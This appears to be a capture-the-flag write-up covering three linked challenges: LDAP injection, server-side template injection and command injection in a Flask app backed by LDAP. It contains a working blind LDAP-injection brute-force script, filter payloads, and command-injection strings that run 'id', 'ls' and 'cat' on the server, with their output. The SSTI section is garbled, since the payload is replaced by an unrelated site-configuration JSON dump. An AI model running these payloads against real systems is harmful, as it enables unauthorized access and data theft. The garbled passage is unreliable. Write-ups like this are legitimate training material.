These challenges are part of series. They are based on the same architecture, but with some differences.
As will become apparent they are the trifecta of injection
Lightweight 1 - LDAP Injection
The first challenge is exploiting LDAP Injection in a LDAP app.
Code review
From the handout we were given some files, important of them we have:
entrypoint.shbase.ldifapp.y
Starting off with the entrypoint.sh:
This is the starting point of the app, from here we can trace what is going to happen.
#!/bin/bash
# append description with flag
echo "description: BtSCTF{fake_flag}" >> /base.ldif && cat /base.ldif
# start
echo Starting
service slapd start
sleep 1
ldapadd -D cn=admin,dc=bts,dc=ctf -f /base.ldif -x -w STYE0P8dg55WGLAkFobiwMSJKix1QqpH
cd /app && python3 -m gunicorn -b 0.0.0.0:80 app:app
We can see that the flag is appended to the base.ldif file, which is a file that contains entries that are loaded into the directory.
See LDIF examples for more.
This means that the flag will be appended into this file:
dn: ou=people,dc=bts,dc=ctf
objectClass: organizationalUnit
ou: people
dn: uid=testuser,ou=people,dc=bts,dc=ctf
objectClass: inetOrgPerson
cn: Test User
sn: User
uid: testuser
userPassword: REDACTED
employeeType: active
# description: BtSCTF{fake_flag} <--- HERE
And then app.py will be run
Below is the app.py:
from flask import Flask, render_template, request
from ldap3 import Server, Connection, ALL
app = Flask(__name__)
ADMIN_PASSWORD = "STYE0P8dg55WGLAkFobiwMSJKix1QqpH"
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
server = Server('localhost', port=389, get_info=ALL)
conn = Connection(server,
user=f'cn=admin,dc=bts,dc=ctf',
password=ADMIN_PASSWORD,
auto_bind=True)
if not conn.bind():
return 'Failed to connect to LDAP server', 500
conn.search('ou=people,dc=bts,dc=ctf', f'(&(employeeType=active)(uid={username})(userPassword={password}))', attributes=['uid'])
if not conn.entries:
return 'Invalid credentials', 401
return render_template('index.html', username=username)
return render_template('login.html')
The keys parts i want to highlight are:
from ldap3 import Server, Connection, ALLconn.search('ou=people,dc=bts,dc=ctf', f'(&(employeeType=active)(uid={username})(userPassword={password}))', attributes=['uid'])
We can do LDAP injection, and we have to focus on:
(&(employeeType=active)(uid=INPUT)(userPassword=INPUT))
A common way of exploit LDAP Injections are using wildcards: *
So POSTing
{
"username":"*",
"password":"*"
}
Gives the query:
(&(employeeType=active)(uid=*)(userPassword=*))
And that actually logs us in. But we know that the flag was in the description: entry and that is our goal.
If we do:
{
"username":"*)(|(description=BtSCTF{*",
"password":"*"
}(&(employeeType=active)(uid=*)(|(description=BtSCTF{*))(userPassword=*))
I wrote a script to append to the prefix if we stumble upon the next correct character in the flag.
import requests
import sys
import time
# Configuration
# BASE_URL = 'https://lightweight-2.chal.bts.wh.edu.pl' # Adjust if needed
BASE_URL = 'http://localhost:5000' # Adjust if needed
CHARS = '}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!?$@#'
def get_flag():
session = requests.Session()
flag = 'BtSCTF{'
#flag = 'BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333'
while not flag.endswith('}'):
found_char = False
for c in CHARS:
prefix = flag + c
print(flag)
time.sleep(0.001)
payload_username = f"*)(|(description={prefix}" + "*)"
payload_password = f"*"
data = {
'username': payload_username,
'password': payload_password
}
# Send
resp = session.post(BASE_URL, data=data)
# append if found
if resp.status_code == 200:
flag += c
print(f"[+] Found character: {c} → {flag}")
found_char = True
break
if not found_char:
print(f"[-] No matching character found for prefix {flag!r}")
sys.exit(1)
return flag
if __name__ == '__main__':
result = get_flag()
print(f"\nFlag: {result}")
After the fact I optimized the script, where I first prune the character set, reducing the amount of requests sent.
def prune_charset(prefix,charset):
session = requests.Session()
pruned = ""
it = 0
for c in charset:
payload_username = f"*)(|(description={prefix}*" + c + "*)"
payload_password = f"*"
data = {
'username': payload_username,
'password': payload_password
}
resp = session.post(BASE_URL, data=data)
it += 1
if resp.status_code == 200:
pruned += c
# print(f"did not prune: {c}")
print(f"Iterations : {it}")
print(f"Pruned charset : {pruned}")
return pruned[spagok@gok]$ python exp.py
Iterations : 69
Pruned charset : _bcdjlnptyBCDJLNPTY0134}
Trying: } (attempt 403)
Current Flag: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333
Trying: } (attempt 1001)
Current Flag: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333
Flag: BtSCTF{_bl1nd_ld4p_1nj3ct10n_y1pp333333}Lightweight 2
The second type of injection is SSTI.
We observe that if we login, our name is reflected (or the query).
e.g:
username=testuser&password=*

So if we POST:
username=testuser)(|(cn={"base_url": "https://smavl.rocks", "mode": "build", "title": "Smavl - Jots and such", "description": , "languages": {}, "default_language": "en", "generate_feed": false, "generate_feeds": false, "feed_filenames": ["atom.xml"], "taxonomies": [{"name": "tags", "slug": "tags", "paginate_by": , "paginate_path": , "render": true, "feed": false}, {"name": "difficulty", "slug": "difficulty", "paginate_by": , "paginate_path": , "render": true, "feed": false}, {"name": "ctf", "slug": "ctf", "paginate_by": , "paginate_path": , "render": true, "feed": false}, {"name": "writeup", "slug": "writeup", "paginate_by": , "paginate_path": , "render": true, "feed": false}, {"name": "os", "slug": "os", "paginate_by": , "paginate_path": , "render": true, "feed": false}], "author": , "build_search_index": true, "extra": {"analytics": {"enabled": true, "goatcounter": {"enabled": true, "user": "smavl1337"}, "google": {"tracking_id": ""}, "umami": {"website_id": ""}}, "dynamic_note": true, "fancy_code": true, "favicon": "/icons/favicon.ico", "katex_enable": true, "mathjax": true, "mathjax_dollar_inline_enable": true, "menu": [{"name": "/posts", "url": "/posts", "weight": 1}, {"name": "/projects", "url": "/projects", "weight": 2}, {"name": "/tags", "url": "/tags", "weight": 3}, {"name": "/about", "url": "/about", "weight": 4}], "socials": [{"icon": "github", "name": "github", "url": "https://github.com/smavl/"}, {"icon": "Cube_HTB", "name": "htb", "url": "https://app.hackthebox.com/profile/515403"}], "theme": "toggle", "toc": true}, "markdown": {"highlighting": {"error_on_missing_language": false, "style": "inline", "theme": , "light_theme": "github-light", "dark_theme": "github-dark", "add_color_scheme": , "extra_grammars": [], "extra_themes": [], "data_attr_position": "code"}, "render_emoji": false, "external_links_class": , "external_links_target_blank": false, "external_links_no_follow": false, "external_links_no_referrer": false, "external_links_external": true, "smart_punctuation": false, "definition_list": false, "bottom_footnotes": false, "lazy_async_image": false, "insert_anchor_links": "none", "github_alerts": false}, "search": {"index_format": "elasticlunr_json"}, "generate_sitemap": true, "generate_robots_txt": true, "exclude_paginated_pages_in_sitemap": "none"}&password=*)
Then we get:

<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': 'BtSCTF{_ld4p_1nj3ction_plus_sst1_3quals_fl4g}', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True}>Lightweight 3
The third is command injection.
We start by logging in with testuser:*(LDAPi is still possible)
This one allows us to search for a prism, which is an objectClass
The gist is that disrupt the execution and injection our own commands, i.e. /search?prism='
There are characters that are not allowed, such as ;.
We eventually found that we could gain command execution with:
/search?prism=b*'&id #'uid=1001(prism) gid=1001(prism) groups=1001(prism)
The # is key, since we can we can block out the rest of the line, gaining more control over whether the command injection fails.
(Actually we could just /search?prism='&id #', but it is easier to ensure that the query is happy when trying to find the right payload!)
We can begin to find the flag!
b*'&cat app.py #'
Gives the the source code, but no flag there.
import re
from flask import Flask, render_template, render_template_string, request
....
....
return render_template('login.html')
Lets find the flag:
b*'&ls #'__pycache__
add-prism-schema.ldif
app.py
base.ldif
entrypoint.sh
hint
requirements.txt
static
templates
Then we just
b*'&cat entrypoint.sh #'
Gives:
#!/bin/bash
echo "BtSCTF{${FLAG_PREFIX}_gl4d_t0_s33_y0u_g0t_output_out_of_th3_comm4nd_1nj3ction}" > /root/flag.txt
cd /app/
echo Starting
/usr/sbin/service slapd start
sleep 1
ldapadd -Q -Y EXTERNAL -H ldapi:/// -f add-prism-schema.ldif
ldapadd -D cn=admin,dc=bts,dc=ctf -f base.ldif -x -w STYE0P8dg55WGLAkFobiwMSJKix1QqpH
sudo -u prism python3 -m gunicorn -b 0.0.0.0:8080 app:app
And it turns out that the flag is just: BtSCTF{_gl4d_t0_s33_y0u_g0t_output_out_of_th3_comm4nd_1nj3ction}
I wonder if it was unintended as if you b*'&cat hint # you get: {"data":"Flag is in /root/flag.txt :)\n","image":null} :trollface:
If they did not set the ${FLAG_PREFIX} variable, then it would be empty and the flag correct, but if you b*'|echo ${FLAG_PREFIX} #' you get {"data":"#)) -w STYE0P8dg55WGLAkFobiwMSJKix1QqpH\n","image":null} (However I could not reproduce that value after the fact, it just gave "\n")
After the fact
While writing this, I see that we did not follow the inteded path. As outlined in the Author Write-up we apparently had to escalate to root in order to read the /root/flag.txt (as mentioned in the hint.txt). I guess the did not think about the entrypoint.sh file or forgot to implement the $FLAG_PREFIX thing.
Source
You can find the source, which they posted after the ctf. There was only source for the first (I think). BTS2025 Source - Github